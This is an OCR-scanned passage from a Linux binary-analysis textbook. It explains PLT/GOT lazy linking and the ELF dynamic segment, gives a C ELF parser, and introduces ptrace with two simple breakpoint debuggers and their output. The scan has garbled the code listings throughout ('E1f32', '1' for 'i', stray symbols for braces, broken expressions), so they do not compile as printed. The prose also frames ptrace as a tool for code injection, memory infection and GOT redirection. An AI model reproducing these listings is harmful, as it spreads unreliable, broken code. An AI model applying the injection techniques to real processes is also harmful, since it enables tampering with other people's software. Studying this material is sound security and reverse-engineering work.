the PLT entry for fgets() again:

08048360 <fgets@plt>:

8048360: ff 25 00 a® 04 08 jmp *Ox804a000
8048366 68 00 00 00 00 push  $0x0
804836Db: e9 e0 ff ff ff jmp 8048350 <_init+0x34>

So, jmp *0x804a000 jumps to the contained address there within 6x8048366, which is the
push $0x0 instruction. That push instruction has a purpose, which is to push the GOT
entry for fgets() onto the stack. The GOT entry offset for fgets() is 0x0, which
corresponds to the first GOT entry that is reserved for a shared library symbol value,
which is actually the fourth GOT entry, GOT[3]. In other words, the shared library
addresses don’t get plugged in starting at GOT[0] and they begin at GOT[3] (the fourth
entry) because the first three are reserved for other purposes.

Note
Take note of the following GOT offsets:



e GOTTIO0] contains an address that points to the dynamic segment of the executable,
which is used by the dynamic linker for extracting dynamic linking-related
information

e GOTI[1] contains the address of the 1ink_map structure that is used by the dynamic
linker to resolve symbols

e GOTI[2] contains the address to the dynamic linkers _d1_runtime_resolve()
function that resolves the actual symbol address for the shared library function

The last instruction in the fgets() PLT stub is a jmp 8048350. This address points to the
very first PLT entry in every executable, known as PLT-O0.

PLT-0 from our executable contains the following code:

8048350 ff 35 f8 9f 04 08 pushl 0x8049ff8
8048356 ff 25 fc 9f 04 08 jmp *Ox8049ffc
804835c: 00 00 add %al, (%eax)

The first pushl instruction pushes the address of the second GOT entry, GOT[1], onto the
stack, which, as noted earlier, contains the address of the 1ink_map structure.

The jmp *0x8049ffc performs an indirect jmp into the third GOT entry, GOT[2], which
contains the address to the dynamic linkers _d1_runtime_resolve() function, therefore
transferring control to the dynamic linker and resolving the address for fgets(). Once
fgets() has been resolved, all future calls to the PLT entry forfgets() will result in a
jump to the fgets() code itself, rather than pointing back into the PLT and going through
the lazy linking process again.

The following is a summary of what we have just covered:

1. Call fgets@PLT (to call the fgets function).

2. PLT code does an indirect jmp to the address in the GOT.

3. The GOT entry contains the address that points back into PLT at the push instruction.

4. The push $0x0 instruction pushes the offset of the fgets() GOT entry onto the

stack.

The final fgets() PLT instruction is a jmp to the PLT-0 code.

The first instruction of PLT-0 pushes the address of GOT[1] onto the stack that

contains an offset into the 1ink_map struct for fgets().

7. The second instruction of PLT-0 is a jmp to the address in GOT[2] that points to the
dynamic linker’s _d1_runtime_resolve(), which then handles the R_386_JumP_sLoOT
relocation by adding the symbol value (memory address) of fgets() to its
corresponding GOT entry in the .got.plt section.

oo

The next time fgets() is called, the PLT entry will jump directly to the function itself
rather than having to perform the relocation procedure again.



The dynamic segment revisited

I earlier referenced the dynamic segment as a section named .dynamic. The dynamic
segment has a section header referencing it, but it also has a program header referencing it
because it must be found during runtime by the dynamic linker; since section headers
don’t get loaded into memory, there has to be an associated program header for it.

The dynamic segment contains an array of structs of type ELfN_Dyn:

typedef struct {
E1f32_Sword d_tag;
union {
E1f32_Word d_val;
E1f32_Addr d_ptr;
} d_un;
} E1f32_Dyn;

The d_tag field contains a tag that matches one of the numerous definitions that can be
found in the ELF(5) man pages. I have listed some of the most important ones used by the
dynamic linker.

DT_NEEDED

This holds the string table offset to the name of a needed shared library.
DT_SYMTAB

This contains the address of the dynamic symbol table also known by its section name
.dynsym.

DT_HASH

This holds the address of the symbol hash table, also known by its section name .hash (or
sometimes named .gnu.hash).

DT_STRTAB

This holds the address of the symbol string table, also known by its section name .dynstr.

DT_PLTGOT
This holds the address of the global offset table.

Note

The preceding dynamic tags demonstrate how the location of certain sections can be found
through the dynamic segment that can aid in the forensics reconstruction task of rebuilding
a section header table. If the section header table has been stripped, a clever individual can
rebuild parts of it by getting information from the dynamic segment (that is, the .dynstr,
.dynsym, and .hash, among others).

Other segments such as text and data can yield information that you need as well (such as
for the . text and .data sections).



The d_val member of E1fN_Dyn holds an integer value that has various interpretations
such as being the size of a relocation entry to give one instance.

The d_ptr member holds a virtual memory address that can point to various locations
needed by the linker; a good example would be the address to the symbol table for the
d_tag DT_SYMTAB.

The dynamic linker utilizes the E1fN_Dyn d_tags to locate the different parts of the
dynamic segment that contain a reference to a part of the executable through the d_tag
such as DT_SYMTAB, which has a d_ptr to give the virtual address to the symbol table.

When the dynamic linker is mapped into memory, it first handles any of its own
relocations if necessary; remember that the linker is a shared library itself. It then looks at
the executable program’s dynamic segment and searches for the DT_NEEDED tags that
contain pointers to the strings or pathnames of the necessary shared libraries. When it
maps a needed shared library into the memory, it accesses the library’s dynamic segment
(yes, they too have dynamic segments) and adds the library’s symbol table to a chain of
symbol tables that exists to hold the symbol tables for each mapped library.

The linker creates a struct 1ink_map entry for each shared library and stores it in a linked
list:

struct link_map

{
E1fW(Addr) 1_addr; /* Base address shared object is loaded at. */
char *1_name; /* Absolute file name object was found in. */
ElfwW(Dyn) *1_1d; /* Dynamic section of the shared object. */
struct link_map *1_next, *1_prev; /* Chain of loaded objects. */
¥

Once the linker has finished building its list of dependencies, it handles the relocations on
each library, similar to the relocations we discussed earlier in this chapter, as well as fixing
up the GOT of each shared library. Lazy linking still applies to the PLT/GOT of shared
libraries as well, so GOT relocations (of type R_386_JMP_SLOT) won’t happen until the
point when a function has actually been called.

For more detailed information on ELF and dynamic linking, read the ELF specification
online or take a look at some of the interesting glibc source code available. Hopefully,
dynamic linking has become less of a mystery and more of an intrigue at this point. In
Chapter 7, Process Memory Forensics we will be covering PLT/GOT poisoning
techniques to redirect shared library function calls. A very fun technique is to subvert
dynamic linking.






Coding an ELF Parser

To help summarize some of what we have learned, I have included some simple code that
will print the program headers and section names of a 32-bit ELF executable. Many more
examples of ELF-related code (and much more interesting ones) will be shown throughout
this book:

/* elfparse.c - gcc elfparse.c -o elfparse */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <elf.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{

int fd, 1i;

uint8_t *mem;

struct stat st;

char *StringTable, *interp;

E1f32_Ehdr *ehdr;
E1f32_Phdr *phdr;
E1f32_Shdr *shdr;

if (argc < 2) {
printf("Usage: %s <executable>\n", argv[0]);
exit(0);

¥

if ((fd = open(argv[1l], O_RDONLY)) < 0) {
perror("open");
exit(-1);

3

if (fstat(fd, &st) < 0) {
perror("fstat");
exit(-1);

3

/* Map the executable into memory */
mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (mem == MAP_FAILED) {
perror("mmap");
exit(-1);
}

/*
* The initial ELF Header starts at offset 0



* of our mapped memory.
*/
ehdr = (E1f32_Ehdr *)mem;

/*
* The shdr table and phdr table offsets are
* given by e_shoff and e_phoff members of the
* E1f32_Ehdr.

*/
phdr = (E1f32_Phdr *)&mem[ehdr->e_phoff];
shdr = (E1f32_Shdr *)&mem[ehdr->e_shoff];
/*

* Check to see if the ELF magic (The first 4 bytes)
* match up as Ox7f E L F
*/
if (mem[0] != Ox7f && strcmp(&mem[1], "ELF")) {
fprintf(stderr, "%s is not an ELF file\n", argv[1]);
exit(-1);
}

/* We are only parsing executables with this code.
* so ET_EXEC marks an executable.
*/
if (ehdr->e_type != ET_EXEC) {
fprintf(stderr, "%s is not an executable\n", argv[1]);
exit(-1);
3

printf("Program Entry point: Ox%x\n", ehdr->e_entry);

/*
* We find the string table for the section header
* names with e_shstrndx which gives the index of
* which section holds the string table.
*/
StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];

/*
* Print each section header name and address.
* Notice we get the index into the string table
* that contains each section header name with
* the shdr.sh_name member.
*/
printf("Section header list:\n\n");
for (1 = 1; i1 < ehdr->e_shnum; i++)
printf("%s: 0x%x\n", &StringTable[shdr[i].sh_name], shdr[i].sh_addr);

/*
* Print out each segment name, and address.
* Except for PT_INTERP we print the path to
* the dynamic linker (Interpreter).
*/

printf("\nProgram header list\n\n");

for (1 = 0; 1 < ehdr->e_phnum; i++) {

switch(phdr[i].p_type) {



case PT_LOAD:
/*
* We know that text segment starts
* at offset 0. And only one other
* possible loadable segment exists
* which is the data segment.
*/
if (phdr[i].p_offset == 0)
printf("Text segment: 0x%x\n", phdr[i].p_vaddr);
else
printf("Data segment: 0x%x\n", phdr[i].p_vaddr);
break;
case PT_INTERP:
interp = strdup((char *)&mem[phdr[i].p_offset]);
printf("Interpreter: %s\n", interp);
break;
case PT_NOTE:
printf("Note segment: Ox%x\n", phdr[i].p_vaddr);
break;
case PT_DYNAMIC:
printf("Dynamic segment: 0Ox%x\n'", phdr[i].p_vaddr);
break;
case PT_PHDR.:
printf("Phdr segment: 0x%x\n", phdr[i].p_vaddr);

break;
}
}
exit(0);
}
Tip

Downloading the example code

You can download the example code files from your account at http://www.packtpub.com
for all the Packt Publishing books you have purchased. If you purchased this book
elsewhere, you can visit http://www.packtpub.com/support and register to have the files e-
mailed directly to you.



http://www.packtpub.com
http://www.packtpub.com/support




Summary

Now that we have explored ELF, I urge the reader to continue to explore the format. You
will encounter a number of projects throughout this book that will hopefully inspire you to
do so. It has taken years of passion and exploration to learn what I have. I am grateful to
be able to share what I have learned and present it in a way that will help the reader learn
this difficult material in a fun and creative way.






Chapter 3. Linux Process Tracing

In the last chapter, we covered the internals of the ELF format and explained its internal
workings. In Linux and other Unix-flavored OSes that use ELF, the ptrace system call
goes hand in glove with analyzing, debugging, reverse engineering, and modifying
programs that use the ELF format. The ptrace system call is used to attach to a process
and access the entire range of code, data, stack, heap, and registers.

Since an ELF program is completely mapped in a process address space, you can attach to
the process and parse or modify the ELF image very similarly to how you would do this
with the actual ELF file on disk. The primary difference is that we use ptrace to access the
program instead of using the open/mmap/read/write calls that would be used for the ELF
file.

With ptrace, we can have full control over a program’s execution flow, which means that
we can do some very interesting things, ranging from memory virus infection and virus
analysis/detection to userland memory rootkits, advanced debugging tasks, hotpatching,
and reverse engineering. Since we have entire chapters in this book dedicated to some of
these tasks, we will not cover each of these in depth just yet. Instead, I will provide a
primer for you to learn about some of the basic functionality of ptrace and how it is used
by hackers.



The importance of ptrace

In Linux, the ptrace(2) system call is the userland means of accessing a process address
space. This means that someone can attach to a process that they own and modify,
analyze, reverse, and debug it. Well-known debugging and analysis applications such as
gdb, strace, and ltrace are ptrace assisted applications. The ptrace command is very
useful for both reverse engineers and malware authors.

It gives a programmer the ability to attach to a process and modify the memory, which can
include injecting code and modifying important data structures such as the Global Offset
Table (GOT) for shared library redirection. In this section, we will cover the most
commonly used features of ptrace, demonstrate memory infection from the attacker’s
side, and process analysis by writing a program to reconstruct a process image back into
an executable. If you have never used ptrace, then you will see that you have been
missing out on a lot of fun!






ptrace requests

The ptrace system call has a 1ibc wrapper like any other system call, so you may include
ptrace.h and simply call ptrace while passing it a request and a process ID. The
following details are not a replacement for the main pages of ptrace(2), although some
descriptions were borrowed from the main pages.

Here’s the synopsis:

#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid,
void *addr, void *data);



ptrace request types

Here is a list of requests that are most commonly used when using ptrace to interact with

a process image

Request

Description

PTRACE_ATTACH

Attach to the process specified in pid, making it a tracee of the calling process. The tracee is sent
a SIGSTOP signal, but will not necessarily have stopped by the completion of this call. Use
waitpid(2) to wait for the tracee to stop.

PTRACE_TRACEME

Indicates that this process is to be traced by its parent. A process probably shouldn’t make this
request if its parent isn’t expecting to trace it.

PTRACE_PEEKTEXT
PTRACE_PEEKDATA
PTRACE_PEEKUSER

These requests allow the tracing process to read from a virtual memory address within the traced
process image; for instance, we can read the entire text or data segment into a buffer for analysis.

Note that there is no difference in implementation between the PEEKTEXT, PEEKDATA, and
PEEKUSER requests.

PTRACE_POKTEXT
PTRACE_POKEDATA
PTRACE_POKEUSER

These requests allow the tracing process to modify any location within the traced process image.

PTRACE_GETREGS

This request allows the tracing process to get a copy of the traced process’s registers. Each thread
context has its own register set, of course.

PTRACE_SETREGS

This request allows the tracing process to set new register values for the traced process, for
example, modifying the value of the instruction pointer to point to the shellcode.

PTRACE_CONT

This request tells the stopped traced process to resume execution.

PTRACE_DETACH

This request resumes the traced process as well but also detaches.

PTRACE_SYSCALL

This request resumes the traced process but arranges for it to stop at the entrance/exit of the next
syscall. This allows us to inspect the arguments for the syscall and even modify them. This
ptrace request is heavily used in the code for a program called strace, which is shipped with
most Linux distributions.

PTRACE_SINGLESTEP

This resumes the process but stops it after the next instruction. Single stepping allows a debugger
to stop after every instruction that is executed. This allows a user to inspect the values of the
registers and the state of the process after each instruction.

PTRACE_GETSIGINFO

This retrieves information about the signal that caused the stop. It retrieves a copy of the
siginfo_t structure, which we can analyze or modify (with PTRACE_SETSIGINFO) to send back to
the tracee.

PTRACE_SETSIGINFO

Sets the signal information. Copies a siginfo_t structure from the address data in the tracer to
the tracee. This will affect only signals that would normally be delivered to the tracee and would
be caught by the tracer. It may be difficult to tell these normal signals from synthetic signals
generated by ptrace() itself (addr is ignored).

PTRACE_SETOPTIONS

Sets the ptrace options from data (addr is ignored). Data is interpreted as a bitmask of options.
These are specified by flags in the following section (check out the main pages of ptrace(2) for
a listing).




The term tracer refers to the process that is doing the tracing (the one that is invoking
ptrace), and the term tracee or the traced means the program that is being traced by the
tracer (with ptrace).

Note

The default behavior overrides any mmap or mprotect permissions. This means that a user
can write to the text segment with ptrace (even though it is read-only). This is not true if
the kernel is pax or grsec and patched with mprotect restrictions, which enforce segment
permissions so that they apply to ptrace as well; this is a security feature.

My paper on ELF runtime infection at http://vxheavens.com/lib/vrn00.html discusses
some methods to bypass these restrictions for code injection.


http://vxheavens.com/lib/vrn00.html




The process register state and flags

The user_regs_struct structure for x86_64 contains the general-purpose registers,
segmentation registers, stack pointer, instruction pointer, CPU flags, and TLS registers:

<sys/user.h>
struct user_regs_struct

{
__extension__ unsigned long long int ri5;
__extension__ unsigned long long int ri14;
__extension__ unsigned long long int ri13;
__extension__ unsigned long long int ri12;
__extension__ unsigned long long int rbp;
__extension__ unsigned long long int rbx;
__extension__ unsigned long long int ri11;
__extension__ unsigned long long int ri0;
__extension__ unsigned long long int r9;
__extension__ unsigned long long int r8;
__extension__ unsigned long long int rax;
__extension__ unsigned long long int rcx;
__extension__ unsigned long long int rdx;
__extension__ unsigned long long int rsi;
__extension__ unsigned long long int rdi;
__extension__ unsigned long long int orig_rax;
__extension__ unsigned long long int rip;
__extension__ unsigned long long int cs;
__extension__ unsigned long long int eflags;
__extension__ unsigned long long int rsp;
__extension__ unsigned long long int ss;
__extension__ unsigned long long int fs_base;
__extension__ unsigned long long int gs_base;
__extension__ unsigned long long int ds;
__extension__ unsigned long long int es;
__extension__ unsigned long long int fs;
__extension__ unsigned long long int gs;
Iy

In the 32-bit Linux kernel, %gs was used as the thread-local-storage (TLS) pointer,
although since x86_64, the %fs register has been used for this purpose. Using the registers
from user_regs_struct and with read/write access to a process’s memory using ptrace,
we can have complete control over it. As an exercise, let’s write a simple debugger that
allows us to set a breakpoint at a certain function in a program. When the program runs, it
will stop at the breakpoint and print the register values and the function arguments.






A simple ptrace-based debugger

Let’s look at a code example that makes use of ptrace to create a debugger program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
E1f64_Ehdr *ehdr;
E1f64_Phdr *phdr;
E1f64_Shdr *shdr;
uint8_t *mem;
char *symname;
E1f64_Addr symaddr;
struct user_regs_struct pt_reg;
char *exec;
} handle_t;

E1f64_Addr lookup_symbol(handle_t *, const char *);

int main(int argc, char **argv, char **envp)
{

int fd;

handle_t h;

struct stat st;

long trap, orig;

int status, pid;

char * args[2];

if (argc < 3) {
printf("Usage: %s <program> <function>\n", argv[0]);
exit(0);

}

if ((h.exec = strdup(argv[1l])) == NULL) {
perror("strdup");
exit(-1);

}

args[0] = h.exec;

args[1] = NULL;

if ((h.symname = strdup(argv[2])) == NULL) {
perror("strdup");
exit(-1);

}

if ((fd = open(argv[1l], O_RDONLY)) < 0) {
perror("open");



exit(-1);
}
if (fstat(fd, &st) < 0) {
perror("fstat");
exit(-1);
}
h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (h.mem == MAP_FAILED) {
perror("mmap");

exit(-1);
}
h.ehdr = (E1f64_Ehdr *)h.mem;
h.phdr = (E1f64_Phdr *)(h.mem + h.ehdr->e_phoff);
h.shdr = (E1f64_Shdr *)(h.mem + h.ehdr->e_shoff);

if+ (h.mem[0@] !'= Ox7f || strcmp((char *)&h.mem[1], "ELF")) {
printf("%s is not an ELF file\n", h.exec);
exit(-1);

3

if (h.ehdr->e_type !'= ET_EXEC) {
printf("%s is not an ELF executable\n", h.exec);

exit(-1);
}
if (h.ehdr->e_shstrndx == || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum ==
0
) {printf(”Section header table not found\n");
exit(-1);
}

if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
printf("Unable to find symbol: %s not found in executable\n",
h.symname);
exit(-1);
}

close(fd);
if ((pid = fork()) < 0) {
perror("fork");
exit(-1);
¥
if (pid == 0) {
if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
perror ("PTRACE_TRACEME");
exit(-1);
b
execve(h.exec, args, envp);
exit(0);
}
wait(&status);
printf("Beginning analysis of pid: %d at %1x\n", pid, h.symaddr);
if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
perror ("PTRACE_PEEKTEXT");
exit(-1);
}
trap = (orig & ~0xff) | Oxcc;
if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
perror ("PTRACE_POKETEXT");
exit(-1);
}



trace:
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {

}

perror ("PTRACE_CONT");
exit(-1);

wait(&status);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {

}

if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_GETREGS");
exit(-1);

3

printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n",

h.exec, pid, h.symaddr);

printf("%%rcx: %11x\n%%rdx: %11x\n%%rbx: %1lx\n"

"%%rax: %1lx\n%%rdi: %11x\n%%rsi: %1llx\n"

"%%r8: %1Ix\n%%ro: %1lx\n%%ri0: %1lx\n"

"%%r11: %11x\n%%ri12 %11x\n%%ri3 %11x\n"

"%%ri14: %11x\n%%ri5: %llx\n%%rsp: %l1x",

h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,

h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,

h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.rio,

h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13,

h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);

printf("\nPlease hit any key to continue: ");

getchar();

if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
perror ("PTRACE_POKETEXT");
exit(-1);

3

h.pt_reg.rip = h.pt_reg.rip - 1;

if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_SETREGS");
exit(-1);

3

if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
perror ("PTRACE_SINGLESTEP");
exit(-1);

3

wait (NULL);

if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
perror ("PTRACE_POKETEXT");
exit(-1);

3

goto trace;

3

if (WIFEXITED(status))

printf("Completed tracing pid: %d\n", pid);

exit(0);

E1f64_Addr lookup_symbol(handle_t *h, const char *symname)

{

int i, j;

char *strtab;

E1f64_Sym *symtab;

for (1 = 0; i < h->ehdr->e_shnum; i++) {



if (h->shdr[i].sh_type == SHT_SYMTAB) {

strtab = (char *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];

symtab = (E1f64_Sym *)&h->mem[h->shdr[i].sh_offset];

for (j = 0; j < h->shdr[i].sh_size/sizeof(E1f64_Sym); j++) {
if(strcmp(&strtab[symtab->st_name], symname) == 0)
return (symtab->st_value);
symtab++;

}

}
}
return O;



Using the tracer program

To compile the preceding source code, use this:

gcc tracer.c -o tracer

Keep in mind that tracer.c locates the symbol table by finding and referencing the
SHT_SYMTAB type section header, so it will not work on executables that have been stripped
of the SHT_SYMTAB symbol table (although they may have SHT_DYNSYM). This actually
makes sense, because usually we are debugging programs that are still in their
development phase, so they usually do have a complete symbol table.

The other limitation is that it doesn’t allow you to pass arguments to the program you are
executing and tracing. So, it wouldn’t do well in a real debugging situation, where you
may need to pass switches or command-line options to your program that is being
debugged.

As an example of the ./tracer program that we designed, let’s try it on a very simple
program that calls a function called print_string(char *) twice, and passes to it the
Hello 1 string on the first round and Hello 2 on the second.

Here’s an example of using the ./tracer code:

$ ./tracer ./test print_string
Beginning analysis of pid: 6297 at 40057d
Executable ./test (pid: 6297) has hit breakpoint 0x40057d
%rex: 0

%rdx: 7fffdaccbf18

%rbx: 0

%rax: 400597

%rdi: 400644

%rsi: 7fffdaccbhfo8

%r8: 7fdafe9efe80

%r9: 7fd4fea05560

%r10: 7fffdaccbcho

%ril: 7fd4afee650ddo

%ri2 400490

%r13 7fffd4accbfoo

%rigq: 0

%rils5: 0

%rsp: 7fffdacchbel8

Please hit any key to continue: c
Hello 1

Executable ./test (pid: 6297) has hit breakpoint 0x40057d
%rcex: FREfFfffffffffrfff

%rdx: 7fd4fo9f09e0

%rbx: 0

%rax: 9

%rdi: 40064d

%rsi: 7fd4foc14000

%r8: ffffffff

%r9: 0

%rlo:. 22

%rll:. 246



%rli2 400490
%ri13 7fffd4accbfoo

%rid: 0
%ri5: 0
%rsp: 7fffdaccbel8
Hello 2

Please hit any key to continue: Completed tracing pid: 6297

As you can see, a breakpoint was set on print_string, and each time the function was
called, our ./tracer program caught the trap, printed the register values, and then
continued executing after we hit a character. The ./tracer program is a good example of
how a debugger such as gdb works. Although it is much simpler, it demonstrates process
tracing, breakpoints, and symbol lookup.

This program works great if you want to execute a program and trace it all at once. But
what about tracing a process that is already running? In such a case, we would want to
attach to the process image with PTRACE_ATTACH. This request sends a SIGSTOP to the
process we are attaching to, so we use wait or waitpid to wait for the process to stop.






A simple ptrace debugger with process
attach capabilities

Let’s look at a code example:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
E1f64_Ehdr *ehdr;
E1f64_Phdr *phdr;
E1f64_Shdr *shdr;
uint8_t *mem;
char *symname;
E1f64_Addr symaddr;
struct user_regs_struct pt_reg;
char *exec;
} handle_t;

int global_pid;

E1f64_Addr lookup_symbol(handle_t *, const char *);
char * get_exe_name(int);

void sighandler(int);

#define EXE_MODE 0

#define PID_MODE 1

int main(int argc, char **argv, char **envp)
{

int fd, ¢, mode = 0O;

handle_t h;

struct stat st;

long trap, orig;

int status, pid;

char * args[2];

printf("Usage: %s [-ep <exe>/<pid>]
[f <fname>]\n", argv[0]);

memset(&h, 0, sizeof(handle_t));

while ((c = getopt(argc, argv, "p:e:f:")) 1= -1)
{

switch(c) {



case 'p':

pid = atoi(optarg);

h.exec = get_exe_name(pid);

if (h.exec == NULL) {
printf("Unable to retrieve executable path for pid: %d\n",
pid);
exit(-1);

3

mode = PID_MODE;

break;

case 'e':

if ((h.exec = strdup(optarg)) == NULL) {
perror("strdup");
exit(-1);

3

mode = EXE_MODE;

break;

case 'f':

if ((h.symname = strdup(optarg)) == NULL) {
perror("strdup");
exit(-1);

3

break;

default:

printf("Unknown option\n");

break;

}

}

if (h.symname == NULL) {
printf("Specifying a function name with -f
option is required\n");

exit(-1);

b

if (mode == EXE_MODE) {
args[0] = h.exec;
args[1] = NULL;

}

signal (SIGINT, sighandler);

if ((fd = open(h.exec, O0_RDONLY)) < 0) {
perror("open");
exit(-1);

3

if (fstat(fd, &st) < 0) {
perror("fstat");
exit(-1);

}

h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

if (h.mem == MAP_FAILED) {
perror("mmap");

exit(-1);
}
h.ehdr = (E1f64_Ehdr *)h.mem;
h.phdr = (E1f64_Phdr *)(h.mem + h.ehdr>
h.shdr = (E1f64_Shdr *)(h.mem + h.ehdr>

if (h.mem[0@] !'= Ox7f &&!strcmp((char *)&h.mem[1], "ELF")) {



printf("%s is not an ELF file\n", h.exec);
exit(-1);

}

if (h.ehdr>e_type != ET_EXEC) {
printf("%s is not an ELF executable\n", h.exec);

exit(-1);
}
if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == | | h.ehdr->e_shnum ==
0
)piintf("Section header table not found\n");
exit(-1);
}

if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
printf("Unable to find symbol: %s not found in executable\n", h.symname);
exit(-1);
3
close(fd);
if (mode == EXE_MODE) {
if ((pid = fork()) < 0) {
perror("fork");
exit(-1);
}
if (pid == 0) {
if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
perror ("PTRACE_TRACEME");
exit(-1);
3
execve(h.exec, args, envp);
exit(0);
}
} else { // attach to the process 'pid'
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror ("PTRACE_ATTACH");
exit(-1);
}
3

wait(&status); // wait tracee to stop

global_pid = pid;

printf("Beginning analysis of pid: %d at %1x\n", pid, h.symaddr);

// Read the 8 bytes at h.symaddr

if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
perror ("PTRACE_PEEKTEXT");
exit(-1);

}

// set a break point

trap = (orig & ~0xff) | Oxcc;

if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
perror ("PTRACE_POKETEXT");

exit(-1);
¥
// Begin tracing execution
trace:

if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
perror ("PTRACE_CONT");
exit(-1);



}

wait(&status);

/*
* If we receive a SIGTRAP then we presumably hit a break
* Point instruction. In which case we will print out the
*current register state.

*/

if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_GETREGS");
exit(-1);
}
printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%1lx\n", h.exec,
pid, h.symaddr);
printf("%%rcx: %11x\n%%rdx: %11lx\n%%rbx: %1llx\n"
"%%rax: %1lx\n%%rdi: %11x\n%%rsi: %1lx\n"
"%%r8: %1Ix\n%%ro: %11lx\n%%ri10: %1lx\n"
"%%r11: %11x\n%%ri12 %11x\n%%ri13 %1lx\n"
"%%ri1d: %11x\n%%ri5: %1lx\n%%rsp: %11x",
h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,
h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,
h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.rio0,
h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.ri3,
h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);
printf("\nPlease hit any key to continue: ");
getchar();
if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
perror ("PTRACE_POKETEXT");
exit(-1);
}
h.pt_reg.rip = h.pt_reg.rip 1;
if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_SETREGS");
exit(-1);
}
if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
perror ("PTRACE_SINGLESTEP");
exit(-1);
}
wait (NULL);
if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
perror ("PTRACE_POKETEXT");
exit(-1);
}
goto trace;
}
if (WIFEXITED(status)){
printf("Completed tracing pid: %d\n", pid);
exit(0);
}

/* This function will lookup a symbol by name, specifically from
* The .symtab section, and return the symbol value.
*/



E1f64_Addr lookup_symbol(handle_t *h, const char *symname)
int 1, j,
char *strtab;
E1f64_Sym *symtab;
for (1 = 0; i < h->ehdr->e_shnum; i++) {
if (h->shdr[i].sh_type == SHT_SYMTAB) {
strtab = (char *)
&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
symtab = (E1f64_Sym *)
&h->mem[h->shdr[i].sh_offset];
for (j = 0; j < h>
shdr[i].sh_size/sizeof (E1f64_Sym); j++) {
if(strcmp(&strtab[symtab->st_name], symname) == 0)
return (symtab->st_value);
symtab++;

/*
* This function will parse the cmdline proc entry to retrieve
* the executable name of the process.
*/
char * get_exe_name(int pid)
{
char cmdline[255], path[512], *p;
int fd;
snprintf(cmdline, 255, "/proc/%d/cmdline", pid);
if ((fd = open(cmdline, O_RDONLY)) < 0) {
perror("open");
exit(-1);
}
if (read(fd, path, 512) < 0) {
perror("read");
exit(-1);
}
if ((p = strdup(path)) == NULL) {
perror("strdup");
exit(-1);
}

return p;

}

void sighandler(int sig)
{
printf("Caught SIGINT: Detaching from %d\n", global_pid);
if (ptrace(PTRACE_DETACH, global pid, NULL, NULL) < 0 && errno) {
perror ("PTRACE_DETACH");
exit(-1);
}
exit(0);
}

Using ./tracer (version 2), we can now attach to an already running process, then set a



breakpoint on the desired function, and trace the execution. Here is an example of tracing
a program that prints the Hello 1 string 20 times in a loop with print_string(char
*s);:

ryan@elfmaster:~$ ./tracer -p “pidof ./test2” -f print_string

Beginning analysis of pid: 7075 at 4005bd

Executable ./test2 (pid: 7075) has hit breakpoint 0x4005hbd
%rcex: fEEFffffffffffff

%rdx: 0
%rbx: 0
%rax: 0

%rdi: 4006a4
%rsi: 7fffe93670e0
%r8: 7fffe93671f0

%r9: 0
%rl0: 8
%ril: 246

